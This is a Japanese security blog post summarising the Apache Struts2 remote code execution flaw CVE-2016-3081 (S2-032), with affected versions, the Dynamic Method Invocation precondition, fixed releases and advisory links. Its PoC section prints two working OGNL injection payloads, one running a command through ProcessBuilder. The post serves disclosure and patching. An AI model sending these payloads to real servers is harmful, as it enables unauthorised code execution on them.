piyolog

piyokangoの備忘録です。セキュリティの出来事を中心にまとめています。このサイトはGoogle Analyticsを利用しています。

Apache Struts2 の脆弱性 (CVE-2016-3081)についてまとめてみた

Apache Software Foundationは2016年4月19日に脆弱性情報 S2-032と修正版を公開しました。ここでは関連情報をまとめます。

Apache 公開情報

  • S2-032 — Remote Code Execution can be performed via method: prefix when Dynamic Method Invocation is enabled.

脆弱性概要

対象 Apache Struts2
CVE CVE-2016-3081
影響 RCE
重要度 High
PoC PoC公開あり。
攻撃パケット観測済。
CVSS(v3) 7.3(Base)
発見者 dbappsecurity(杭州安恒)
脆弱性の影響説明

It is possible to pass a malicious expression which can be used to execute arbitrary code on server side when Dynamic Method Invocation is enabled.

http://struts.apache.org/docs/s2-032.html

開発元によると、当該脆弱性が悪用された場合、サーバ上で遠隔から任意のコードを実行させることが可能であるとされています

http://www.npa.go.jp/cyberpolice/detect/pdf/20160427.pdf

影響範囲

次のApache Strutsのバージョンが影響を受ける。Struts1系が影響を受けるかは不明。

  • 2.3.20 〜 2.3.28(2.3.20.3、2.3.24.3は対象外。)
攻撃前提条件「DMIの有効化」が必要

有効化しているかはstruts.xml等で確認できる。

struts.enable.DynamicMethodInvocation = false

対策

Apache Strutsを次のバージョンへ更新をする。

  • 2.3.20.3
  • 2.3.24.3
  • 2.3.28.1

影響調査

PoC

PoCをJPCERT/CCが検証している。

脆弱性の実証コードがすでに公開されており、JPCERT/CC にて実証コードを用いて検証した結果、Struts アプリケーションを実行しているアプリケーションサーバの実行権限で任意のコードが実行されることを確認しました。

http://www.jpcert.or.jp/at/2016/at160020.html

またNSFOCUSが公開した脆弱性解説より、次のPoCを確認した。

hello.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String

http://drops.wooyun.org/papers/15430
オンラインスキャナー

dbappsecurity(脆弱性を報告した企業)がオンラインスキャナーを公開している。

スキャナーと名の付く通り、実行すると実際にExploitが対象に送信されている。

method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter%28%29.println%28%23parameters.content[0]%29,1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=Qr4AQgCHpj

ExploitTool

簡単にExploitができるツールも既に公開されている模様。


デモ動画


謝辞

このまとめは次の方から頂いた情報をもとに追記・修正を行っています。ありがとうございます。

  • AJさん